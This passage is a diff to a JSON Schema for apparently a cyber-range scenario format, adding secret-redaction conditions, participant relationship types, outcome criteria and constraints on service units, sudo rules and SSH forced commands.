[ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -5635,6 +5801,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "ImageBuildArg", "type": "object" }, @@ -5754,6 +5933,25 @@ "ImageEnvironmentDefault": { "additionalProperties": false, "description": "An image-default environment variable with sensitivity classification.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -5798,6 +5996,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "ImageEnvironmentDefault", "type": "object" }, @@ -6231,6 +6442,108 @@ "title": "KernelBoundary", "type": "string" }, + "LocalOutcomeCriterion": { + "additionalProperties": false, + "description": "An explicitly declared realized effect, never an action status shortcut.", + "properties": { + "criterion_id": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "title": "Criterion Id", + "type": "string" + }, + "effect_id": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "title": "Effect Id", + "type": "string" + }, + "source_id": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "title": "Source Id", + "type": "string" + } + }, + "required": [ + "criterion_id", + "source_id", + "effect_id" + ], + "title": "LocalOutcomeCriterion", + "type": "object" + }, + "LocalOutcomeDefinition": { + "additionalProperties": false, + "description": "All criteria must be evidenced; contradictory observations need correction.", + "properties": { + "category": { + "enum": [ + "task_completion", + "effect_realization" + ], + "title": "Category", + "type": "string" + }, + "conflict_policy": { + "const": "retain_until_explicit_correction", + "title": "Conflict Policy", + "type": "string" + }, + "criteria": { + "items": { + "$ref": "#/$defs/LocalOutcomeCriterion" + }, + "minItems": 1, + "title": "Criteria", + "type": "array" + }, + "criterion_basis": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "title": "Criterion Basis", + "type": "string" + }, + "episode_policy": { + "const": "reset_without_transfer", + "title": "Episode Policy", + "type": "string" + }, + "freshness_policy": { + "const": "exact_observation_cut", + "title": "Freshness Policy", + "type": "string" + }, + "model_version": { + "const": "1.0.0", + "title": "Model Version", + "type": "string" + } + }, + "required": [ + "model_version", + "category", + "criterion_basis", + "criteria", + "conflict_policy", + "freshness_policy", + "episode_policy" + ], + "title": "LocalOutcomeDefinition", + "type": "object" + }, "MixedControlAuthorityStatus": { "description": "Authored authority state for one controller binding.", "enum": [ @@ -7079,25 +7392,63 @@ }, "Objective": { "additionalProperties": false, - "description": "A declarative experiment objective.", - "properties": { - "actions": { - "items": { - "not": { - "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" - }, - "type": "string" + "anyOf": [ + { + "properties": { + "owner": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "type": "string" + } }, - "title": "Actions", - "type": "array" + "required": [ + "owner" + ] }, - "agent": { - "default": "", - "not": { - "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + { + "properties": { + "assigned_participant": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "type": "string" + } }, - "title": "Agent", - "type": "string" + "required": [ + "assigned_participant" + ] + } + ], + "description": "A declarative experiment objective.", + "properties": { + "actions": { + "items": { + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "type": "string" + }, + "title": "Actions", + "type": "array" + }, + "assigned_participant": { + "anyOf": [ + { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Assigned Participant" }, "depends_on": { "items": { @@ -7117,14 +7468,6 @@ "title": "Description", "type": "string" }, - "entity": { - "default": "", - "not": { - "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" - }, - "title": "Entity", - "type": "string" - }, "name": { "default": "", "not": { @@ -7133,6 +7476,22 @@ "title": "Name", "type": "string" }, + "owner": { + "anyOf": [ + { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Owner" + }, "success": { "$ref": "#/$defs/ObjectiveSuccess" }, @@ -7890,6 +8249,34 @@ }, "OutcomeInterpretationRule": { "additionalProperties": false, + "allOf": [ + { + "else": { + "properties": { + "target_bindings": { + "minItems": 1 + } + } + }, + "if": { + "properties": { + "local_outcome": { + "type": "object" + } + }, + "required": [ + "local_outcome" + ] + }, + "then": { + "properties": { + "semantic_version": { + "const": "2.0.0" + } + } + } + } + ], "description": "Explicit SEM-215 rule relating participant-local outcomes to meaning layers.", "properties": { "diagnostics": { @@ -7931,6 +8318,17 @@ "title": "Limitations", "type": "array" }, + "local_outcome": { + "anyOf": [ + { + "$ref": "#/$defs/LocalOutcomeDefinition" + }, + { + "type": "null" + } + ], + "default": null + }, "observation_point_basis": { "not": { "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" @@ -7960,7 +8358,6 @@ "items": { "$ref": "#/$defs/OutcomeInterpretationTargetBinding" }, - "minItems": 1, "title": "Target Bindings", "type": "array" } @@ -10316,6 +10713,160 @@ "title": "ParticipantPreconditionClass", "type": "string" }, + "ParticipantRelationship": { + "additionalProperties": false, + "description": "Directed authored intent; a declaration never grants operational rights.", + "if": { + "properties": { + "control_specification_ref": { + "type": "string" + } + }, + "required": [ + "control_specification_ref" + ] + }, + "properties": { + "authority_basis_refs": { + "items": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "type": "string" + }, + "title": "Authority Basis Refs", + "type": "array", + "uniqueItems": true + }, + "behavior_specification_refs": { + "items": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "type": "string" + }, + "title": "Behavior Specification Refs", + "type": "array", + "uniqueItems": true + }, + "control_specification_ref": { + "anyOf": [ + { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Control Specification Ref" + }, + "kind": { + "$ref": "#/$defs/ParticipantRelationshipKind" + }, + "objective_refs": { + "items": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "type": "string" + }, + "title": "Objective Refs", + "type": "array", + "uniqueItems": true + }, + "observation_boundary_refs": { + "items": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "type": "string" + }, + "title": "Observation Boundary Refs", + "type": "array", + "uniqueItems": true + }, + "scope_refs": { + "items": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "type": "string" + }, + "title": "Scope Refs", + "type": "array", + "uniqueItems": true + }, + "source_action_refs": { + "items": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "type": "string" + }, + "title": "Source Action Refs", + "type": "array", + "uniqueItems": true + }, + "target_action_refs": { + "items": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "pattern": "\\S", + "type": "string" + }, + "title": "Target Action Refs", + "type": "array", + "uniqueItems": true + } + }, + "required": [ + "kind" + ], + "then": { + "properties": { + "kind": { + "enum": [ + "delegation", + "supervision" + ] + } + } + }, + "title": "ParticipantRelationship", + "type": "object" + }, + "ParticipantRelationshipKind": { + "description": "Portable relation meanings, independent of backend mechanisms.", + "enum": [ + "coordination", + "delegation", + "cooperation", + "competition", + "supervision" + ], + "title": "ParticipantRelationshipKind", + "type": "string" + }, "ParticipantResourceAccountingMode": { "enum": [ "windowed_counter", @@ -10656,8 +11207,94 @@ "run", "reconciled" ], - "title": "ParticipantResourceResetMode", - "type": "string" + "title": "ParticipantResourceResetMode", + "type": "string" + }, + "ParticipantSharedTimeBinding": { + "additionalProperties": false, + "description": "Explicit shared-time binding; legacy descriptive references stay opaque.", + "properties": { + "clock_ref": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "title": "Clock Ref", + "type": "string" + }, + "condition_precondition_id": { + "anyOf": [ + { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Condition Precondition Id" + }, + "constraint_ref": { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "title": "Constraint Ref", + "type": "string" + }, + "event_point": { + "enum": [ + "start", + "end", + "observed", + "effective" + ], + "title": "Event Point", + "type": "string" + }, + "evidence_mode": { + "enum": [ + "event", + "continuous" + ], + "title": "Evidence Mode", + "type": "string" + }, + "observation_boundary_ref": { + "anyOf": [ + { + "minLength": 1, + "not": { + "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" + }, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Observation Boundary Ref" + }, + "profile": { + "const": "participant-shared-time/v1", + "title": "Profile", + "type": "string" + } + }, + "required": [ + "profile", + "clock_ref", + "constraint_ref", + "event_point", + "evidence_mode" + ], + "title": "ParticipantSharedTimeBinding", + "type": "object" }, "ParticipantTemporalContract": { "additionalProperties": false, @@ -10762,6 +11399,17 @@ "default": null, "title": "Reset Boundary" }, + "shared_time_binding": { + "anyOf": [ + { + "$ref": "#/$defs/ParticipantSharedTimeBinding" + }, + { + "type": "null" + } + ], + "default": null + }, "temporal_id": { "not": { "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" @@ -11745,6 +12393,73 @@ }, "Relationship": { "additionalProperties": false, + "allOf": [ + { + "else": { + "properties": { + "participant": { + "type": "null" + } + } + }, + "if": { + "properties": { + "type": { + "const": "participant" + } + }, + "required": [ + "type" + ] + }, + "then": { + "properties": { + "carrier_placement": { + "type": "null" + }, + "database_access": { + "type": "null" + }, + "domain_controller": { + "type": "null" + }, + "domain_join": { + "type": "null" + }, + "forest_trust": { + "type": "null" + }, + "forwarding_edge": { + "type": "null" + }, + "identity_federation": { + "type": "null" + }, + "mail_access": { + "type": "null" + }, + "participant": { + "type": "object" + }, + "properties": { + "maxProperties": 0 + }, + "proxy_upstream": { + "type": "null" + }, + "service_integration": { + "type": "null" + }, + "shared_service": { + "type": "null" + } + }, + "required": [ + "participant" + ] + } + } + ], "description": "A typed directed edge between two named scenario elements.\n\nSource and target can reference any named element in the scenario:\nnodes, features, accounts, entities, or infrastructure entries.\nThe validator checks that both endpoints resolve.\n\nThe ``properties`` dict carries type-specific metadata (e.g.,\n``trust_type: parent-child`` for AD trusts, ``protocol: SAML``\nfor federation). It's a flat dict rather than typed sub-models\nbecause relationship properties vary widely and we don't want\nto gate expressiveness on pre-modeling every variant.\n\n``database_access`` and ``mail_access`` are typed exceptions where\nprotocol/auth details need structural validation rather than prose.\n``forwarding_edge``, ``service_integration``, and ``proxy_upstream`` are\nthe same kind of typed exception for, respectively, a forwarding /\nintel-sync agent's inter-node trust edge (SCN-010 \u00a75.7), a platform\nconsumer-to-engine service integration, and a reverse-proxy/gateway\nroute-to-origin upstream hop. Each keeps protocol/auth/topology facts\nstructurally validated and cross-referable rather than buried in prose.", "properties": { "carrier_placement": { @@ -11843,6 +12558,17 @@ ], "default": null }, + "participant": { + "anyOf": [ + { + "$ref": "#/$defs/ParticipantRelationship" + }, + { + "type": "null" + } + ], + "default": null + }, "properties": { "additionalProperties": { "not": { @@ -12517,7 +13243,8 @@ "forest_trusts", "directory_federates_to", "placed_on_carrier", - "uses_shared_service" + "uses_shared_service", + "participant" ], "title": "RelationshipType", "type": "string" @@ -13337,6 +14064,25 @@ "RuntimeApplicationExposedField": { "additionalProperties": false, "description": "A route-visible fixture secret or intentionally exposed diagnostic field.\n\nThe sensitivity vocabulary is shared with the rest of the runtime surface.\nA ``redacted`` or ``operator_secret`` field must omit its raw ``value``.\nOther values, including credential-shaped fixture facts, are scenario\ncontent needed for range realization and participant observation.", + "if": { + "properties": { + "sensitivity": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "sensitivity" + ] + }, "properties": { "description": { "default": "", @@ -13381,6 +14127,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimeApplicationExposedField", "type": "object" }, @@ -13628,13 +14387,18 @@ }, "methods": { "items": { + "maxLength": 128, + "minLength": 1, "not": { "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" }, + "pattern": "^[!#$%&'*+\\-.^_`|~0-9A-Za-z]{1,128}$(?![\\s\\S])", "type": "string" }, + "minItems": 1, "title": "Methods", - "type": "array" + "type": "array", + "uniqueItems": true }, "name": { "default": "", @@ -16217,6 +16981,25 @@ "RuntimeDatastoreSetting": { "additionalProperties": false, "description": "An observed datastore runtime setting with scope, provenance, and class.\n\nExplicit ``redacted`` / ``operator_secret`` classifications omit raw values;\nnames that look credential-bearing remain scenario content unless the\nauthor marks the value withheld.", + "if": { + "properties": { + "classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "classification" + ] + }, "properties": { "classification": { "anyOf": [ @@ -16310,6 +17093,19 @@ "required": [ "setting_id" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimeDatastoreSetting", "type": "object" }, @@ -16880,6 +17676,25 @@ } ], "description": "Required runtime environment variable with provenance and sensitivity.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -16959,6 +17774,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimeEnvironmentVariable", "type": "object" }, @@ -17765,6 +18593,16 @@ "RuntimeFilesystemEntry": { "additionalProperties": false, "description": "A filesystem entry observed inside a runtime node or container asset.", + "if": { + "properties": { + "presence": { + "pattern": "^[Ee][Xx][Pp][Ee][Cc][Tt][Ee][Dd][_-][Aa][Bb][Ss][Ee][Nn][Tt]$" + } + }, + "required": [ + "presence" + ] + }, "properties": { "content_digest": { "default": "", @@ -17959,6 +18797,58 @@ "required": [ "path" ], + "then": { + "properties": { + "content_digest": { + "enum": [ + "", + null + ] + }, + "digest_algorithm": { + "enum": [ + "", + null + ] + }, + "gid": { + "enum": [ + "", + null + ] + }, + "mode": { + "enum": [ + "", + null + ] + }, + "owner_group": { + "enum": [ + "", + null + ] + }, + "owner_user": { + "enum": [ + "", + null + ] + }, + "size": { + "enum": [ + "", + null + ] + }, + "uid": { + "enum": [ + "", + null + ] + } + } + }, "title": "RuntimeFilesystemEntry", "type": "object" }, @@ -18409,6 +19299,25 @@ "RuntimeForwardingSetting": { "additionalProperties": false, "description": "An observed forwarding-agent runtime setting with provenance and class.\n\nExplicit ``redacted`` / ``operator_secret`` classifications omit raw values;\ncredential-shaped names remain scenario content unless the author marks the\nvalue withheld.", + "if": { + "properties": { + "classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "classification" + ] + }, "properties": { "classification": { "anyOf": [ @@ -18486,6 +19395,19 @@ "required": [ "setting_id" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimeForwardingSetting", "type": "object" }, @@ -18800,6 +19722,25 @@ "RuntimeIdentityAttribute": { "additionalProperties": false, "description": "Observed identity attribute or bounded setting.\n\nSecret-bearing names must not carry raw values. This keeps directory\npasswords, Kerberos keys, keytabs, tokens, and client secrets out of\nfixtures, diagnostics, schemas, and generated runtime artifacts.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -18878,6 +19819,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "values": { + "minItems": 1, + "type": "array" + } + }, + "required": [ + "values" + ] + } + }, "title": "RuntimeIdentityAttribute", "type": "object" }, @@ -19512,6 +20466,24 @@ "RuntimeInitProcess": { "additionalProperties": false, "description": "Required backend-injected container init / PID-1 reaper configuration.\n\nModels authored container runtime intent \u2014 for example Docker Compose\n``init: true`` causing PID 1 to be ``/sbin/docker-init`` (tini). This is\ndistinct from the observed PID-1 process recorded in\n``runtime.processes``; see ADR-027.", + "if": { + "properties": { + "argv_redacted": { + "anyOf": [ + { + "const": true + }, + { + "pattern": "^\\s*(?:[Tt][Rr][Uu][Ee]|1|[Yy][Ee][Ss]|[Oo][Nn])\\s*$", + "type": "string" + } + ] + } + }, + "required": [ + "argv_redacted" + ] + }, "properties": { "argv": { "items": { @@ -19599,6 +20571,13 @@ "title": "Reaps Children" } }, + "then": { + "properties": { + "argv": { + "maxItems": 0 + } + } + }, "title": "RuntimeInitProcess", "type": "object" }, @@ -21044,6 +22023,25 @@ "RuntimeMailSetting": { "additionalProperties": false, "description": "A mail-service runtime setting with source/provenance and redaction.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "component_ref": { "default": "", @@ -21133,10 +22131,23 @@ "title": "Value Classification" } }, - "required": [ - "setting_id", - "name" - ], + "required": [ + "setting_id", + "name" + ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimeMailSetting", "type": "object" }, @@ -23964,6 +24975,25 @@ "RuntimePlatformApplicationSetting": { "additionalProperties": false, "description": "An observed platform setting with provenance and sensitivity.\n\nExplicitly redacted/operator-secret settings must omit their raw ``value``.\nA setting name does not by itself redact SDL scenario content.", + "if": { + "properties": { + "classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "classification" + ] + }, "properties": { "classification": { "anyOf": [ @@ -24049,6 +25079,19 @@ "required": [ "setting_id" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimePlatformApplicationSetting", "type": "object" }, @@ -24439,7 +25482,36 @@ "title": "Soft" }, "subject": { - "$ref": "#/$defs/RuntimeProcessIdentity" + "$ref": "#/$defs/RuntimeProcessIdentity", + "allOf": [ + { + "if": { + "properties": { + "command_redacted": { + "anyOf": [ + { + "const": true + }, + { + "pattern": "^\\s*(?:[Tt][Rr][Uu][Ee]|1|[Yy][Ee][Ss]|[Oo][Nn])\\s*$", + "type": "string" + } + ] + } + }, + "required": [ + "command_redacted" + ] + }, + "then": { + "properties": { + "command": { + "maxItems": 0 + } + } + } + } + ] } }, "required": [ @@ -26264,6 +27336,25 @@ "RuntimeSecurityMonitoringSetting": { "additionalProperties": false, "description": "A bounded manager setting with sensitivity classification.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "component_ref": { "default": "", @@ -26357,6 +27448,19 @@ "setting_id", "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimeSecurityMonitoringSetting", "type": "object" }, @@ -26390,7 +27494,7 @@ }, "RuntimeServiceListener": { "additionalProperties": false, - "description": "Observed generic runtime listener attached to a node.", + "description": "Possibly partial runtime listener description attached to a node.\n\nOnly ``service_listener_id`` is universally required. Supplied facts are\nvalidated for bounds and contradictions, but missing endpoint facts are\nnot fabricated or rejected at this descriptive boundary.", "properties": { "address": { "default": "", @@ -27365,6 +28469,24 @@ "RuntimeSudoRule": { "additionalProperties": false, "description": "An observed sudo/sudoers privilege grant.\n\nThe portable model is the structured principal/run-as/command scope.\n``raw_entry`` may carry the original sudoers line only as optional\ndescriptive evidence; ``command_redacted`` marks a rule whose command\nscope was withheld because it carried sensitive arguments.", + "if": { + "properties": { + "command_redacted": { + "anyOf": [ + { + "const": true + }, + { + "pattern": "^\\s*(?:[Tt][Rr][Uu][Ee]|1|[Yy][Ee][Ss]|[Oo][Nn])\\s*$", + "type": "string" + } + ] + } + }, + "required": [ + "command_redacted" + ] + }, "properties": { "command_redacted": { "anyOf": [ @@ -27477,6 +28599,13 @@ "required": [ "principal" ], + "then": { + "properties": { + "commands": { + "maxItems": 0 + } + } + }, "title": "RuntimeSudoRule", "type": "object" }, @@ -27649,6 +28778,80 @@ }, "ServiceManagerUnit": { "additionalProperties": false, + "allOf": [ + { + "if": { + "properties": { + "manager_kind": { + "pattern": "^[sS][yY][sS][tT][eE][mM][dD]$" + } + }, + "required": [ + "manager_kind" + ] + }, + "then": { + "properties": { + "unit_name": { + "pattern": "^[^\\s]+\\.[^\\s]+$" + } + } + } + }, + { + "if": { + "properties": { + "manager_kind": { + "anyOf": [ + { + "pattern": "^(?:[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN])$" + }, + { + "pattern": "^x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*$" + } + ] + } + }, + "required": [ + "manager_kind" + ] + }, + "then": { + "properties": { + "active_state": { + "const": "unknown" + }, + "enabled_state": { + "const": "unknown" + }, + "exec_start": { + "const": null + }, + "exit_code": { + "const": null + }, + "load_state": { + "const": "unknown" + }, + "main_pid": { + "const": null + }, + "result": { + "const": "unknown" + }, + "status_text": { + "const": "" + }, + "sub_state": { + "const": "" + }, + "unit_type": { + "const": "other" + } + } + } + } + ], "description": "Observed service-manager unit state on a realized range node.\n\nEach record carries a stable RAES ``unit_id`` (the reference target), the\nnative ``unit_name`` (e.g. ``sshd.service``), the participant-observable\nlifecycle facts captured by ``systemctl`` (load/active/sub/enabled/result),\nand bounded optional evidence: the unit-file path, an ``ExecStart``\ndescriptor with explicit redaction discipline, the main PID when present,\nand an optional same-node ``Node.services[]`` ref.\n\nThis is observed WHAT-IS state, not provisioning intent or authored\nbehavior; see ADR-035 for the boundary against ``Node.services``,\n``conditions``, ``runtime.processes``, ``runtime.container.init_process``,\n``runtime.operational_policy``, and ``runtime.ssh_servers``.", "properties": { "active_state": { @@ -27826,9 +29029,11 @@ "type": "string" }, "unit_name": { + "default": "", "not": { "pattern": "\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}" }, + "pattern": "^\\S+$", "title": "Unit Name", "type": "string" }, @@ -27850,8 +29055,7 @@ } }, "required": [ - "unit_id", - "unit_name" + "unit_id" ], "title": "ServiceManagerUnit", "type": "object" @@ -28207,6 +29411,69 @@ }, "ServiceUnitExecStart": { "additionalProperties": false, + "allOf": [ + { + "if": { + "properties": { + "command_redacted": { + "anyOf": [ + { + "const": true + }, + { + "pattern": "^\\s*(?:[Tt][Rr][Uu][Ee]|1|[Yy][Ee][Ss]|[Oo][Nn])\\s*$", + "type": "string" + } + ] + } + }, + "required": [ + "command_redacted" + ] + }, + "then": { + "properties": { + "command": { + "maxLength": 0 + } + } + } + }, + { + "if": { + "properties": { + "command_kind": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "command_kind" + ] + }, + "then": { + "not": { + "properties": { + "command": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "command" + ] + } + } + } + ], "description": "A typed service-manager ``ExecStart`` configuration.\n\nMirrors the SSH ``ForcedCommand`` redaction discipline (ADR-031): the\n``command_kind`` discriminates how ``command`` is interpreted, and\n``command_redacted=True`` forces ``command`` empty and\n``command_kind=redacted``. The model never carries raw secret-bearing\nargv -- if the underlying ``ExecStart=`` includes credentials, tokens, or\noperator-only arguments, the surface stores only the redacted shape.", "properties": { "command": { @@ -28415,6 +29682,69 @@ }, "SshForcedCommand": { "additionalProperties": false, + "allOf": [ + { + "if": { + "properties": { + "command_redacted": { + "anyOf": [ + { + "const": true + }, + { + "pattern": "^\\s*(?:[Tt][Rr][Uu][Ee]|1|[Yy][Ee][Ss]|[Oo][Nn])\\s*$", + "type": "string" + } + ] + } + }, + "required": [ + "command_redacted" + ] + }, + "then": { + "properties": { + "command": { + "maxLength": 0 + } + } + } + }, + { + "if": { + "properties": { + "command_kind": { + "anyOf": [ + { + 